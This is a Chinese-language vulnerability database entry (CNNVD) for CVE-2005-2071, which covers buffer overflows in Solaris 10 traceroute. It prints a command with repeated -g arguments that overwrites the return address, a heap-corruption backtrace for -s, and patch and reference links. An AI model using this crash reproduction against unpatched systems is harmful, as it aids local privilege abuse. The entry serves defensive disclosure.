Sun Solaris traceroute 多个缓冲区溢出漏洞

漏洞信息详情

Sun Solaris traceroute 多个缓冲区溢出漏洞

• CNNVD编号：CNNVD-200506-238
• 危害等级： 中危
  
  
• CVE编号：
  CVE-2005-2071
  
• 漏洞类型：
  
  
  权限许可和访问控制
  
• 发布时间：
  
  2005-06-29
  
• 威胁类型：
  
  
  本地
  
• 更新时间：
  
  2006-06-15
  
• 厂        商：
  
  sun
• 漏洞来源：
  Przemyslaw Frasune…

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

Solaris 10的/usr/sbin/traceroute在处理-g参数时存在缓冲区溢出，本地攻击者可能利用此漏洞提升自己在系统中的权限。

提供-g参数后，IP地址参数会覆盖返回地址：

atari：root：/home/venglin＃ /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g

7 -g 8 -g 9 -g 10 127.0.0.1

traceroute： too many IPv4 gateways

traceroute： unknown IPv4 host 1

traceroute to 127.0.0.1 (127.0.0.1)， 30 hops max， 88 byte packets

Segmentation fault (core dumped)

atari：root：/home/venglin＃ gdb /usr/sbin/traceroute core

[…]

Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7

-g 8 -g 9 -g 10 127.0.0\’\’.

Program terminated with signal 11， Segmentation fault.

[…]

＃0 0x0100007f in ?? ()

0x0100007f是127.0.0.1。

攻击者可以利用这个漏洞运行任意代码。但由于使用__init_suid_priv()，因此漏洞影响仅限于原始套接字访问。

此外畸形的-s参数还可能导致堆破坏：

atari：root：/home/venglin＃ gdb /usr/sbin/traceroute core

[…]

＃0 0xfee7178d in _free_unlocked ()

from /lib/libc.so.1

(gdb) bt

＃0 0xfee7178d in _free_unlocked () from /lib/libc.so.1

＃1 0xfee71752 in free () from /lib/libc.so.1

＃2 0xfefa49a6 in freeaddrinfo () from /lib/libsocket.so.1

＃3 0x08052a7a in main ()

目前厂商已经发布了升级补丁以修复这个安全问题，补丁下载链接：

http://sunsolve.sun.com/security

来源: BID

名称: 14049

链接:http://www.securityfocus.com/bid/14049

来源: VUPEN

名称: ADV-2005-2564

链接:http://www.frsirt.com/english/advisories/2005/2564

来源: SUNALERT

名称: 102060

链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-102060-1

来源: SECTRACK

名称: 1015261

链接:http://securitytracker.com/id?1015261

来源: SECUNIA

名称: 17708

链接:http://secunia.com/advisories/17708

来源: BUGTRAQ

名称: 20050624 Re: Solaris 10 /usr/sbin/traceroute vulnerabilities

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111964580023012&w=2

来源: BUGTRAQ

名称: 20050624 Re: [Full-disclosure] Solaris 10 /usr/sbin/traceroute vulnerabilities

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111963809801731&w=2

来源: BUGTRAQ

名称: 20050624 Solaris 10 /usr/sbin/traceroute vulnerabilities

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111963068714114&w=2